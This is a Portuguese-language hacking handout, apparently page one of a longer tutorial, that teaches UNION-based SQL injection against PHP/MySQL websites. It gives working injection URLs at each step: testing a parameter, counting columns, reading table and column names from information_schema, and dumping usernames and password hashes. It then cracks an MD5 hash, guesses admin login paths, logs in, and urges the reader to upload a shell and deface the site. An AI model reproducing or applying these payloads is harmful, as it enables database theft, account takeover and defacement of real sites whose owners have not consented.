Você está na página 1de 14

Apostila de Injeo SQL (SQLI) By SoUz

O que Injeo SQL (SQLi)?


SQLI, como o nome j d a dizer a injeo de comandos SQL. Ops!Mas o que SQL? Para quem no sabe o que SQL (Structured Query Language): uma linguagem que serve para acesso e controle de bancos de dados a partir de instrues (querys). Para quem no tm noo da estrutura de um banco de dados olhe o esquema abaixo:

Banco de Dados Tabela Dados

Esta a hierarquia de um banco de dados. Primeiro acessado o banco de dados, que lhe dar os nomes das tabelas, ento acessada a tabela de sua escolha que lhe dar os dados organizados em linhas e colunas.

Ento, agora que voc j entende a estrutura de um Banco de Dados (o chamaremos de BD daqui pra frente) vamos exemplificar uma query: SELECT coluna FROM tabela where dado_da_coluna = 1 Mas o que isso!? Essa uma query bem simplificada, mas o importante a se abordar aqui so os comandos e elementos que organizam a query, porque estes sero utilizados na injeo SQL. Alguns destes:
SELECT: Seleciona dados e tabelas num BD UPDATE: Comando que atualiza um dado em uma tabela do BD FROM: Operador que direciona comandos (Como no exemplo acima, onde direciona a seleo da coluna para a tabela) ORDER BY: Utilizado para ordernar os dados de uma tabela a partir de uma coluna WHERE: Operador que identifica um dado em uma ou mais colunas (Como no exemplo acima, so vai ser selecionado onde tiver dado_da_coluna = 1) COUNT(*): Faz a contagem de linhas de uma tabela DELETE: Deleta dados de uma tabela ou uma tabela de um BD

Vamos a Injeo
Parte 1 Injetando em PHP + MySQL
Primeiro devemos entender onde ocorre a injeo. aqui: HTTP://sitequalquerdavida.com/pagina.php?id=23 , por exemplo. Pra quem est comeando agora, vou explicar. Observe esta parte aqui: .php?id=23, isto uma consulta da pgina pelo php a um BD. E da? E da que ai que vamos colocar nossas intrues SQL, fazendo assim a injeo. Mas no todo o site que vulnervel a SQLi, ento vamos ver os mtodos que usaremos para fazer esta verificao: Acrescentar uma aspa ao final da consulta HTTP://sitequalquerdavida.com/pagina.php?id=23 Acrescentar uma aspa no lugar da consulta HTTP://sitequalquerdavida.com/pagina.php?id= Se isto causar um erro na pgina, como este abaixo, esta est vulnervel a SQLi. Warning: Supplied argument is not a valid MySQL result resource in x:\server\apache\htdocs\pagina.php on line 13 Vejam que este um erro do MySQL. Mas e se for SQL Server e o site em .asp da pra fazer?Sim! Mas primeiro vamos terminar com esta parte. Ok, o site vulnervel oque fazer agora? Vamos saber quantas colunas tm a tabela que d os dados dessa consulta: HTTP://sitequalquerdavida.com/pagina.php?id=23 order by 10

Se a pgina carregar corretamente quer dizer que a tabela tem no mnimo 10 colunas, consideremos que no carregou corretamente, logo ela tem menos de 10 colunas. Ento vamos diminuir o nmero: HTTP://sitequalquerdavida.com/pagina.php?id=23 order by 5 Carregou! Certo, ento est entre 5 e 10 colunas, vamos testar ordenar a partir da sexta coluna: HTTP://sitequalquerdavida.com/pagina.php?id=23 order by 6 Deu erro! Ento so 5 colunas! Ta e ai? O que tem de to importante? Vamos selecionar os dados dessas colunas na pgina, para que depois possamos fazer a injeo de comandos. HTTP://sitequalquerdavida.com/pagina.php?id=23 union all select 1,2,3,4,5 Vamos usar a imagem abaixo como exemplo para esta seleo:

Percebe-se que no aparece nada de diferente. Entao vamos tornar a varivel da consulta nula: HTTP://sitequalquerdavida.com/pagina.php?id=NULL union all select 1,2,3,4,5 Ou HTTP://sitequalquerdavida.com/pagina.php?id=-23 union all select 1,2,3,4,5 E ento:

Esses nmeros so os nmeros das colunas, em ordem, que esto sendo consultadas na tabela.

Agora vamos fazer uma injeo bem simples ai, @@version (para ver que verso o BD). HTTP://sitequalquerdavida.com/pagina.php?id=NULL union all select 1,@@version,3,4,5

Ok, mas quando vamos invadir esse site?? Vamos pegar os nomes das tabelas ento: HTTP://sitequalquerdavida.com/pagina.php?id= NULL union all select group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema=database() Agora embolou tudo ne? Vamos ler a nossa injeo union all SELECT group_concat(TABLE_NAME) from INFORMATION_SCHEMA.tables where TABLE_SCHEMA=database().

Estamos selecionando ( SELECT) o nome das tabelas (TABLE_NAME) da tabela tables do BD information_schema(INFORMATION_SCHEMA.tables). Onde a coluna TABLE_SCHEMA tem o nome do BD. O BD information_schema se encontra no mesmo Server em que est o BD que queremos acessar, nele se guardam informaes sobre nomes de tabelas e colunas de todos os bancos de dados daquele site, ele foi feito para que houvesse mais agilidade nas consultas, porm cria esta vulnerabilidade que exploramos. Entendeu?Espero que sim, por que esta uma parte importante. Veja agora como fica a consulta que fizemos anteriormente:

Pronto, temos os nomes das tabelas, mas no temos os dados ainda.

Ento vamos pegar os nomes das colunas da tabela que desejamos ver. HTTP://sitequalquerdavida.com/pagina.php?id= NULL union all select group_concat(column_name),2,3,4,5 from information_schema.columns where table_name=0x7573756172696f73 Ta complicando dinovo ne? Vou explicar, agora estamos consultando os nomes das colunas (column_name), da tabela columns da BD Information_schema(information_schema.columns) onde o nome da tabela igual a usurios(0x7573756172696f73). [...]usurios(0x oque?). Para que seja feita a consulta o nome da tabela tem de estar em hexadecimal(usurios = 7573756172696f73) e com o filtro MySQL na frente(0x). Voc pode transformar qualquer caractere em hexadecimal, existem diversos conversores online basta procurar no google. E ento temos os nomes das colunas:

Agora vamos pegar os dados to desejados: HTTP://sitequalquerdavida.com/pagina.php?id=NULL union all select 1,group_concat(id,0x3a,nome,0x3a,usuario,0x3a,senha),3,4,5 from usuarios Bem mais simples que as anteriores, no? Voc est selecionando o id,o nome, o usurio e a senha da tabela usurios.0x3a?? para que no venha simplismente os dados sem nenhuma separao entre eles(0x3a equvila a : ),vou lhe mostrar a diferena: Com divises Veja que tem dois pontos (:) entre cada dado

Sem divises Os dados esto todos juntos, isso ento se trata de simples organizao. OBS: Voc pode usar qualquer caractere para separar as informaes, basta transform-lo em hexadecimal SQL ( com o filtro 0x) EX: , = 0x2c.

Otimo! Temos os dados! Mas...e a senha? isso tudo? Calma, esta senha est encriptada, no caso em MD5, que uma das chamadas codificaes irreversveis. Porm existem sites que tem um BD que faz comparao de caracteres e suas HASHS (caracteres codificados) MD5 e outra encriptaes. Um deles o HTTP://md5decrypter.co.uk que um dos meus preferidos.

As codificaes mais conhecidas e mais utilizadas: MD5 Ex: ce47d07243bb6eaf5e1322c81baf9bbf Tm 32 caracteres SHA-1 Ex: 42e4a3e115d92f068e02948367c0288d975a9314 Tm 40 caracteres MySQL Ex: 35bc08a01fee7afc Tm 16 caracteres Continuando, vamos desencriptar esta hash no site que comentei:

A Senha em MD5(64d1f88b9b276aece4b0edcc25b7a434) na verdade pacman. Agora j podemos utiliz-la. Mas aonde? Vamos procura a rea de administrao do site. Voc pode usar alguns brute-forces para irem, digamos, chutando para voc o endereo da rea de login. Ou achar o robots.txt do site e ver se a rea de admin est la, indexada. Mas agora vamos ver como se faz na manha mesmo por questo de exerccio (no sempre que voc vai ter um brute force por perto). bem simples, HTTP://siteporaew.com/admin HTTP://siteporaew.com/login HTTP://siteporaew.com/admin-login HTTP://siteporaew.com/adm HTTP://siteporaew.com/logon E outras coisas obvias do gnero, no nosso exemplo o diretrio /admin ento vamos:

Somos redirecionados para a pgina de login( /login.php no caso)

Agora digitamos o login(CARAM) e a senha(pacman) que pegamos e vamos para a rea de admin.

PRONTO!!! Daqui voc pode upar sua Shell e fazer seu deface ou at mesmo redirecionar para sua defacepage.Esta foi a primeira parte da apostila, a prxima parte vai ser: Fazendo um Deface!